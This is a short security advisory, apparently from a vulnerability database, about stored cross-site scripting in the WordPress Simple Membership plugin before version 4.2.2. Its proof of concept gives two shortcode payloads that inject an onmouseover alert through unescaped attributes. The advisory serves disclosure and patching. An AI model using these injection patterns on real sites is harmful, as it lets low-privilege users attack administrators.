Simple Membership < 4.2.2 - Contributor+ Stored XSS

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admin.

PoC

1. Exploit shortcode: [swpm_paypal_subscription_cancel_link merchant_id=‘1’ css_class=‘" onmouseover=“alert(1)”’] Note: The exploit requires a membership plugin user to log in. 2. Exploit shortcode: [swpm_payment_button id=‘1’ class=‘" onmouseover=“alert(1)”’] Note: The “Braintree Buy Now” payment button uses the “class” parameter. You can add buttons on the “Payments” > “Manage Payment Buttons” page.